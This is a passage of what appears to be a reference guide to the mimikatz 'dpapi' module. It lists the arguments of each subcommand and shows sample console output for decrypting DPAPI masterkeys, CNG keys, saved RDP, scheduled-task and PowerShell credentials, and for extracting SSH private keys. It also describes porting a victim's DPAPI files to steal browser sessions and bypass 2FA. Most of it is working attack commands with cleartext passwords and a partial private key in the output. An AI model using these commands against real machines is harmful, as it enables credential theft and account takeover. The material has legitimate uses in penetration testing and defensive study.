ProofOfPossesionKey, can be found with `sekurlsa::cloudap`. Unprotect this data to retrieve `context`, `label`, `clearkey` and `derivedkey` * `/derivedkey`: used for JWT token generation (can be found with unprotect) * `/unprotect`: Decrypt the secret from DPAPI (`masterkey` is optionnal, but `token::elevate` is required) * `/masterkey`: master DPAPI key use to unprotect the secret (can be retrieved from `sekurlsa::dpapi`). This field is **not mandatory**, if absent the key will be found automatically ### References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} # cloudapreg `dpapi::cloudapreg` dumps azure credentials by querying the following registry location: ``` HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\AAD\Storage ``` # cng `dpapi::cng` decrypts a given CNG private key file. According to this [document](https://raw.githubusercontent.com/microsoft/TSS.MSR/master/PCPTool.v11/Using%20the%20Windows%208%20Platform%20Crypto%20Provider%20and%20Associated%20TPM%20Functionality.pdf), the Crypto Next Generation (CNG) API is a successor of of Crypto API (CAPI). It has the following command line argument: * `/in`: the CNG private key file. The location of the file is `C:\Users\\AppData\Roaming\Microsoft\Crypto\Keys\` * `/password`: the password to decrypt the cng * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz # dpapi::cng /in:"C:\Users\m3g9tr0n\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_e4aad2d1-5ec0-4ea4-b259-65eda5bc47a8" /unprotect **KEY (cng)** dwVersion : 00000001 - 1 unk : 00000000 - 0 dwNameLen : 0000006e - 110 type : 00030004 - 196612 dwPublicPropertiesLen : 00000088 - 136 dwPrivatePropertiesLen: 000000ee - 238 dwPrivateKeyLen : 00000110 - 272 unkArray[16] : 00000000000000000000000000000000 pName : Microsoft Connected Devices Platform device certificate pPublicProperties : 2 field(s) **KEY CNG PROPERTY** dwStructLen : 0000002c - 44 type : 00000000 - 0 unk : 00000000 - 0 dwNameLen : 00000010 - 16 dwPropertyLen : 00000008 - 8 pName : Modified pProperty : 2136f8f327d6d701 **KEY CNG PROPERTY** dwStructLen : 0000005c - 92 type : 0000000a - 10 unk : 00000000 - 0 dwNameLen : 00000000 - 0 dwPropertyLen : 00000048 - 72 pName : pProperty : 45435331200000005266cba2681ed70a0576a7f8b430eb41d1c44c4891a841726808ffa0ee887a7c8f4a06ad0916f7503124549834a58a0d7e6a22fbeab527bcd527fbc1c519f9d8 pPrivateProperties : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 0000002e - 46 szDescription : Private Key Properties algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : f23b7f559bbce2b8642cc8ceb007b45d dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : f06062572b447d30ce57f94d8484611f dwDataLen : 00000038 - 56 pbData : 9ab857893f8135b87f16edbc7a885a95a58b2bd19c39ad891e463d8dffefee783d680b28d2fe37e8092515baea2ca1f5bc442095012d576d dwSignLen : 00000014 - 20 pbSign : e93adcb7cc8f659b57ccf09ed8fe51d701d6f93d pPrivateKey : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000018 - 24 szDescription : Private Key algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 858b2f4b4b0ae21d72fcc27513bfaead dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 52f468f480fc4d7e6c655d9c233103d7 dwDataLen : 00000070 - 112 pbData : f4f111a0db7097371c5a05f4fd1648bf1682e2e99d7cd7d67ab2e88ab85875073d9fec779dbefba2d0f0e3d4b60f3fd53bb7c228ea7aa087a1b54e773e2e05d5982c5e8bfb4251298011c3fc19da1a0e721c9a6fbff58e1c7a74a387f0fd4bdafd856b9563bc1070cbdf714eb78d7139 dwSignLen : 00000014 - 20 pbSign : a4864f3ddaccc3f165eab44371d06584950b9fa5 Decrypting Private Properties: * using CryptUnprotectData API * volatile cache: GUID:{5c22983f-77ee-41e4-9086-8073d664e417};KeyHash:850247e2dd89c50536c05bdcee1a56c395e752cf;Key:available 1 field(s) **KEY CNG PROPERTY** dwStructLen : 00000032 - 50 type : 00000003 - 3 unk : 00000000 - 0 dwNameLen : 0000001a - 26 dwPropertyLen : 00000004 - 4 pName : Export Policy pProperty : 03000000 Decrypting Private Key: * using CryptUnprotectData API * volatile cache: GUID:{5c22983f-77ee-41e4-9086-8073d664e417};KeyHash:850247e2dd89c50536c05bdcee1a56c395e752cf;Key:available 45435332200000005266cba2681ed70a0576a7f8b430eb41d1c44c4891a841726808ffa0ee887a7c8f4a06ad0916f7503124549834a58a0d7e6a22fbeab527bcd527fbc1c519f9d8a6a296d94241edf1446e255551f0d9198474bd99aab67996a9a0bfc93357337d |Provider name : Microsoft Software Key Storage Provider |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ; Algorithm : ECDSA_P256 Key size : 256 (0x00000100) Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; ) Exportable key : YES LSA isolation : NO Private export : OK - 'dpapi_cng_0_Microsoft Connected Devices Platform device certificate.dsa.ec.p8k' ``` # create 🛠️ `dpapi::create` creates a DPAPI Masterkey file from raw key and metadata. It comes in handy when you want to decrypt a victim's DPAPI secrets locally in your machine. CoreSecurity has published a [guide](https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz) on how you can clone the Google Chrome Victim's session and decrypt it from your own box. Benjamin has also [tweeted](https://twitter.com/gentilkiwi/status/1236634610529959936?s=20) how you can recreate masterkeys on your own machine to steal browser sessions and bypass 2FA. It has the following command line arguments: * `/sid`: the Security Identifier of the target user * `/md4`: the MD4 key * `/key`: The masterkey. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi)\`\` * `/sha1`: the SHA1 key. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi)\`\` * `/hash`: the SHA1 hash of YOUR password when porting the victim's DPAPI files to your system * `/dpapi`: TODO 🛠️ * `/guid`: the user's GUID. it can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). it is also the ***szGuid*** output value of the `dpapi::masterkey in:"C:\Users\AppData\Roaming\Microsoft\Protect\SID\MasterKey_ID" /rpc` * `/system`: the DPAPI\_SYSTEM key. It can be found through [`lsadump::secrets`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/secrets) * `/password`: This is YOUR password when porting the victim's DPAPI files to your system * `/protected`: it defines the user account as a protected one ``` mimikatz # dpapi::create /guid:{5c22983f-77ee-41e4-9086-8073d664e417} /key:3f7a17dd6658319fcd4b832afc20ac7dacbb9d7cd668527c71f98e90464624634c614a7923a3beb23c4e24dd718f2a8e838ce72935fb29f11507affb543a53c3 /password:Super_SecretPass /protected Target SID is: S-1-5-21-2725560159-1428537199-2260736313-1730 [masterkey] with password: Super_SecretPass (protected user) Key GUID: {5c22983f-77ee-41e4-9086-8073d664e417} **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000108 - 264 dwBackupKeyLen : 00000000 - 0 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000000 - 0 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 5c765e71ed00a886cb27b5ab5ea2ff19 rounds : 00000fa0 - 4000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 2a10ef754addc9bfcea06565e1a8fe388e4bdca26bca4c85ba2420bdfccacc343dff4ea9021ad55b6ea2f1bcfcbe95fe2f0ad6eece14e3a5797aa0957b09601f42d87ec03885cc82b2c208160e182518c9840df006d0f312d6cde65854ef8b0da26f252f7f0ad9f2 File '5c22983f-77ee-41e4-9086-8073d664e417' (hidden & system): OK ``` # cred `dpapi::cred` decrypts DPAPI saved credential such as RDP, Scheduled tasks, etc (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad-ds/movement/credentials/dumping/dpapi-protected-secrets)). It has the following command line arguments: * `/in`: the file path to decrypt. The file locations are `C:\Users\\AppData\Local\Microsoft\Credentials\\` and `C:\Users\\AppData\Roaming\Microsoft\Credentials\\`. Tools like [Seatbelt ](https://github.com/GhostPack/Seatbelt)come in handy for enumerating credential blob files' location * `/lsaiso`: [In Windows, the LSAISO process runs as **an Isolated User Mode (IUM) process** in a new security environment that is known as Virtual Secure Mode (VSM).](https://docs.microsoft.com/en-us/troubleshoot/windows-client/performance/lsaiso-process-high-cpu-usage) It is used when Credentials Guard is in place * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/password`: the password to decrypt the blob * `/unprotect`: displays the decryption results on screen The following example was taken from Benjamin's [howto \~ scheduled tasks credentials](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials) guide, which displays the content of the credential file: ``` mimikatz # dpapi::cred /in:%systemroot%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\AA10EB8126AA20883E9542812A0F904C **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5d4e7e0d-d922-4783-8efc-9319b45b1c9a} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000046 - 70 szDescription : Données d’identification locales [...] Decrypting Credential: * volatile cache: GUID:{5d4e7e0d-d922-4783-8efc-9319b45b1c9a};KeyHash:ba02ef86f26c683858d3df3dc961e37b0d47e574 **CREDENTIAL** credFlags : 00000030 - 48 credSize : 000000fe - 254 credUnk0 : 00004004 - 16388 Type : 00000002 - 2 - domain_password Flags : 00000000 - 0 LastWritten : 03/01/2017 21:31:30 unkFlagsOrSize : 00000018 - 24 Persist : 00000002 - 2 - local_machine AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:batch=TaskScheduler:Task:{813565C4-C976-4E78-A1CA-8BDAE749E965} UnkData : (null) Comment : (null) TargetAlias : (null) UserName : LAB\\admin CredentialBlob : waza1234/a Attributes : 0 ``` # credhist `dpapi::credhist` describes a Credhist file. [Passcape](https://www.passcape.com/windows_password_recovery_dpapi_credhist) mentions that `CREDHIST` is a password history file, made out as a chain, where each link represents the user's older password hashes (NT and SHA1). Each time user changes the password, the old password hash is appended to the file and encrypted with a new password. It has the following command line arguments: * `/in`: the path of the CREDHIST. According to this [guide](https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz), it can be found at `C:\users\appdata\Roaming\Microsoft\Protect\CREDHIST` * `/sid`: the Security Identifier of the target user * `/sha1`: the SHA1 hash of the target user password. It can be obtained through [`sekurlsa::logonpasswords`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/logonpasswords). * `/password`: the password of the target user ``` mimikatz# dpapi::credhist in:"C:\users\appdata\Roaming\Microsoft\Protect\CREDHIST" ``` {% hint style="warning" %} During our test on a Windows 10 20H2 box, we could not find the `CREDHIST` file. {% endhint %} # luna `dpapi::luna` decrypts Safenet LunaHSM KSP. It has the following command line arguments: * `/hive`: TODO * `/client`: TODO * `/password`: the password to decrypt the LunaHSM * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen # masterkey `dpapi::masterkey` describes a Masterkey file and unprotects each Masterkey (key depending). In other words, it can decrypt and request masterkeys from active directory (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad-ds/movement/credentials/dumping/dpapi-protected-secrets)). It has the following command line arguments: * `/in`: The path of the masterkey. The masterkeys are stored at `C:\Users\\AppData\Roaming\Microsoft\Protect\\` * `/dc`: the target domain controller * `/rpc`: it can be used to remotely decrypt the masterkey of the target user by contacting the domain controller`.` According to Benjamin, in a domain, a domain controller runs an RPC Service to deal with encrypted masterkeys for users, [MS-BKRP](https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-BKRP/\[MS-BKRP].pdf) (Backupkey Remote Protocol). * `/sid`: the target user's Security Identifier * `/pvk`: the path to the private key file. It can be obtained through [`lsadump::backupkeys /export`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/backupkeys). * `/hash`: the SHA1 hash of the target user's password. It can be found through [`sekurlsa::logonpasswords`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/logonpasswords). * /system: The DPAPI\_SYSTEM key. It can be found through [`lsadump::secrets`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/secrets). * `/domain`: the target active directory domain * `/password`: the target user's password * `/protected`: it defines the user account as a protected one {% hint style="info" %} The `dpapi::cred` can also display the masterkey location through the ***guidMasterKey*** value. {% endhint %} The following examples were taken from Benjamin's [howto \~ credential manager saved credentials](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) guide. ``` mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000088 - 136 dwBackupKeyLen : 00000068 - 104 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000174 - 372 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 704f7ca8be647c20dc36e8ae4127966b rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb7332e220ca76b532602f36520a3a6809fb50893c9d4ae050e0072b44fe522c8f4b4f1f610001530c4f770c76b347ea02fc7baa627efc9e1055255600 [backupkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 3afaf040c982786cfa36342d8005a16f rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f1659cd8a193a50bd809848d4dec11439e3da6bb4f66ab4b04aff3ae48e1 [domainkey] **DOMAINKEY** dwVersion : 00000002 - 2 dwSecretLen : 00000100 - 256 dwAccesscheckLen : 00000058 - 88 guidMasterKey : {9c71e914-1ed5-4338-8461-4dcc363553be} pbSecret : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087ac1effacd3cfa4c94413d541f476db2179a9b7ba6b383a28b1d52b165b84d73f27395e6093b883142168c783659a7b9756a787f688154b6fda15e8d0581b1f23c44870f825fd03ee3d52652e3c2e98f946deee7b86a9b3534d210b3f53e4fe29b7ed19050c5981f186ae9f3d8d11228e83c908c2e303d17bca0d625df400731454880f6dda9a7b65afff6198c8f8e580e72bb01ce8faf0d1c1bdac662f6b29698416be99616e0311fe2043660d066c09ab5298a25fb8d911987a89491ab4ef0df529cf1aef5da0340e9da9313a50a94aea0a7010a pbAccesscheck : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18cd96575899fa2a6f46b1f37c9ae3e63e5bb5de12151016bb0afd0efd79ddbbad6c0f36931a11503864d3bd403 ``` ``` mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" /rpc **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2} [...] [domainkey] with RPC [DC] 'lab.local' will be the domain [DC] 'dc.lab.local' will be the DC server key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f60b4f05034163ff59651e4ad4 sha1: 81c99543dea591c11f20d69027ea2016d89d07dd ``` # protect `dpapi::protect` protects data via a DPAPI call. It has the following command line arguments: * `/c`: displays the output as a C programming language char array * `/out`: save the results to a file * `/data`: the data to encrypt * `/system`: the data are encrypted under the system account context. It will be visible in the `flags : system` * `/prompt`: the Mimikatz's additional DPAPI prompt GUI * `/entropy`: the entropy for the encryption * `/machine`: The data are encrypted under the machine account context. It will be visible in the `flags : local_machine` * `/description`: provide a description for the blob data {% hint style="warning" %} It must be noted that during our tests when using the `/system` parameter, even running Mimikatz with `token::elevate`, the following error was raised ``` mimikatz # dpapi::protect /data:"Hello Mimikatz" /system data : Hello Mimikatz description : flags : system ; prompt flags: entropy : ERROR kuhl_m_dpapi_protect ; CryptProtectData (0x00000057) ``` Searching on Google the error code displayed this [link](https://social.msdn.microsoft.com/Forums/windows/en-US/bcceaafd-eac2-4133-b291-16daeea1eda0/problem-with-cryptunprotectdata-using-64-bit-win-7?forum=windowssecurity) {% endhint %} ``` mimikatz # dpapi::protect /data:"Hello Mimikatz" data : Hello Mimikatz description : flags : prompt flags: entropy : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : a912cfd0a5981bd1176cfa3a46f613e9 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 8966a81153fbeecaa0f27257870c4d64 dwDataLen : 00000020 - 32 pbData : a61e42e1f1e13c06e9f45f1f813ecb8f91967195018745caf774f910e9bdf2cb dwSignLen : 00000014 - 20 pbSign : 585b4a5b91aab83f82438508a082258af88296bb Blob: 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c 7a 00 c0 4f c2 97 eb 01 00 00 00 3f 98 22 5c ee 77 e4 41 90 86 80 73 d6 64 e4 17 00 00 00 00 02 00 00 00 00 00 03 66 00 00 c0 00 00 00 10 00 00 00 a9 12 cf d0 a5 98 1b d1 17 6c fa 3a 46 f6 13 e9 00 00 00 00 04 80 00 00 a0 00 00 00 10 00 00 00 89 66 a8 11 53 fb ee ca a0 f2 72 57 87 0c 4d 64 20 00 00 00 a6 1e 42 e1 f1 e1 3c 06 e9 f4 5f 1f 81 3e cb 8f 91 96 71 95 01 87 45 ca f7 74 f9 10 e9 bd f2 cb 14 00 00 00 58 5b 4a 5b 91 aa b8 3f 82 43 85 08 a0 82 25 8a f8 82 96 bb ``` Example output with the `/c` parameter: ``` mimikatz # dpapi::protect /data:"Hello Mimikatz" /c data : Hello Mimikatz description : flags : prompt flags: entropy : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : a58805a047af3d5c5c728e0cd99ea2e6 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 974bf2f32c5558d572b55c4342fb7d0b dwDataLen : 00000020 - 32 pbData : 518d8d9f26507a869139c7a40f20c5cac4e90664e51961ff11df0cf5ccab0b67 dwSignLen : 00000014 - 20 pbSign : 5fd6a45422ed0bc317f71dc627bdb49fabe0f911 Blob: BYTE data[] = { 0x01, 0x00, 0x00, 0x00, 0xd0, 0x8c, 0x9d, 0xdf, 0x01, 0x15, 0xd1, 0x11, 0x8c, 0x7a, 0x00, 0xc0, 0x4f, 0xc2, 0x97, 0xeb, 0x01, 0x00, 0x00, 0x00, 0x3f, 0x98, 0x22, 0x5c, 0xee, 0x77, 0xe4, 0x41, 0x90, 0x86, 0x80, 0x73, 0xd6, 0x64, 0xe4, 0x17, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x66, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0xa5, 0x88, 0x05, 0xa0, 0x47, 0xaf, 0x3d, 0x5c, 0x5c, 0x72, 0x8e, 0x0c, 0xd9, 0x9e, 0xa2, 0xe6, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x97, 0x4b, 0xf2, 0xf3, 0x2c, 0x55, 0x58, 0xd5, 0x72, 0xb5, 0x5c, 0x43, 0x42, 0xfb, 0x7d, 0x0b, 0x20, 0x00, 0x00, 0x00, 0x51, 0x8d, 0x8d, 0x9f, 0x26, 0x50, 0x7a, 0x86, 0x91, 0x39, 0xc7, 0xa4, 0x0f, 0x20, 0xc5, 0xca, 0xc4, 0xe9, 0x06, 0x64, 0xe5, 0x19, 0x61, 0xff, 0x11, 0xdf, 0x0c, 0xf5, 0xcc, 0xab, 0x0b, 0x67, 0x14, 0x00, 0x00, 0x00, 0x5f, 0xd6, 0xa4, 0x54, 0x22, 0xed, 0x0b, 0xc3, 0x17, 0xf7, 0x1d, 0xc6, 0x27, 0xbd, 0xb4, 0x9f, 0xab, 0xe0, 0xf9, 0x11, }; ``` Save the blob results to a file: ``` mimikatz # dpapi::protect /data:"Hello Mimikatz" /out:dpapi_blob.txt data : Hello Mimikatz description : flags : prompt flags: entropy : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 091527cbb82555872260774bd8d3ff28 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : ab94cd34e247f59647a4872f0ab8e647 dwDataLen : 00000020 - 32 pbData : a5e9d57d114c39374caec5983d2aa80c942d77c080f4ec7569cfb58a00357e2e dwSignLen : 00000014 - 20 pbSign : 05ba3324d8ef8b44ef474f6ad1cf73ba1b08e58e Write to file 'dpapi_blob.txt' is OK ``` The following picture demonstrates an example when the `/prompt` argument is used: ![DPAPI Prompt](/files/ZFg3bdq6VBrgdX48u5yr) # ps `dpapi::ps` decrypts PowerShell credentials (PSCredentials or SecureString). It has the following command line arguments: * `/in`: the PowerShell credentials `.xml` file * `/password`: the password to use to decrypt the PSCredentials * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: displays the decryption results on screen ``` mimikatz # dpapi::ps /in:ps_cred.xml /unprotect UserName: hacklab\m3g9tr0n Password: **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : ec2c6882a6414dbc02ef9635b417b405 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : fdf9251a5503f367cab65c6b13888556 dwDataLen : 00000018 - 24 pbData : 4dad0233039bd9a634fd1dc4ec89b1a83d0f000da752076c dwSignLen : 00000014 - 20 pbSign : 2a8cd7071815f88bbb469b2839c52530baa1dd45 * using CryptUnprotectData API >> cleartext: Super_SecretPass1! ``` {% hint style="info" %} In the example above, the `.xml` PSCredential file for decryption was previously created by the same user, hence the absence of the `/password` or `/masterkey` argument, which would be needed when attempting to decrypt `.xml` PSCredentials of a different user. {% endhint %} # rdg `dpapi::rdg` decrypts Remote Desktop Gateway saved passwords. It has the following command line argument: * `/rdg`: the `.rdg` file * `/password`: the password to use to decrypt the rdg file * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ![RDG saved password (https://twitter.com/gentilkiwi/status/1031331172381601792?s=20)](/files/xrj8EK6MLr8M8OOHAaKT) ![](/files/RdBPU30ME717focSKh5Y) # sccm `dpapi::sccm` is used to decrypt saved [SCCM credentials](https://www.thehacker.recipes/ad/movement/sccm-mecm). It has the following command line arguments: * `/masterkey`: the masterkey to use for decryption * `/password`: the password to use for decryption * `/unprotect`: displays the decryption results on screen ![https://twitter.com/gentilkiwi/status/1392594113745362946](/files/RQnuYNCZWsfkV7PfUbRQ) # ssh `dpapi::ssh` extracts OpenSSH private keys. More information for the extraction of the SSH keys from a Windows host can be found on this [link](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/). It has the following command line arguments: * `/hive`: it is the path to the `NTUSER.DAT` file * `/impersonate`: impersonates a user and extracts the SSH private key for this user * `/password`: the password to decrypt the ssh credentials * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz # dpapi::ssh /unprotect .DEFAULT S-1-5-19 S-1-5-20 S-1-5-21-2725560159-1428537199-2260736313-1730 [SHA256:pW1qqDIYHA2GxjkBEVQmyEOBdkBUTkAsOfGEPf0WSFQ] comment: hacklab\m3g9tr0n@Win10 type : 0 * using CryptUnprotectData API -----BEGIN RSA PRIVATE KEY----- MIIG4wIBAAKCAYEAqjbnmO6bTG5ZBtNQgidMUIVKpqhcuAFK6VgqxpQZuZHZkjar sD7xBOedFNztcMKZuspR1ul8mfxs+OuhSGmOsmOQn3ENg6dox9f2qSwJli+7r4Uq QmnhpIP7+MaoesukRzcpwrS31i3uxG4oZGBG1l6dydmbTvBvBeyR7ES2TB7sCNJB vJ+g5jzUCTQJV95IGc4dDVPUgPkHFuUO12gSJMrgtjGFK3LN5aPJfxvmf2uSsgL+ XvamF3yiFIvSbpW5oloZRzf5T93Zcq2bu/9JZluvZAZN3Ydz9OQhsEcGNUhhsmt7 OObcecdkNPzzWJyKOMw84k6gpTJsq//JUBA6NSeYzZNbr7QoPacqbyJX/nTujVqg SSpXStl1UlWNfbqQNHxAhtKRo7oIP+g9ED2GMyMszKgbjJ6/F50fK6UNTz0lIDaC Ua810r0kvekjSHcKbc9cuYI0Y5VRCQd9YDS/vgqUD2a9Jta9KuL05l6xYBE2Gy2y XSsEahdcNRhgjzzRAgMBAAECggGBAIWbRzshv8DEtRjIcd9X3W0u0yPx76V3TkfP LvRkd7TTqQY955IWNbV14DTqHW5vMaAPAyJAb8+m9hqFSjm+sYWQ5YphgQwgMfz7 pd+wc23x1c62Ji+vULCD8RqbRM/uXOqRgDQXCl4R++Mv3IC9mZzW89/m8SOLUnpB 8WCVpsolU3yxHWxjmDZg9Mask9Dm541p3iAB90GtN0VfUsD+LY+3t58LS86I9NkW MSmWytyloaYc93GvBTxWVhrujaTD3ISMliS+0OJhjtKqQ5KHfpheSkmm90796gSb jowlEMEOEIFt8oF+7df0N8VyUs/TwNL3K7IacFfelgUnll81mk5vY6/VZRkcDXZD dRh+3nIE92jHV9csEgsR5FWR382ayi1h5MXZMS/gPXgwds/+IakGna3wX7/d23SA 1V7LvbxGiD9595pplJq3K0WXlg83chOrpaXbpOoa1TI4qRW0wXmkbkd/gAH49ujm OyUMOsM09BCPKlekGUjpN0yJJ1e6KQKBwQDYNAzg3/eLEmtErzWvQz0JdT5Mskma 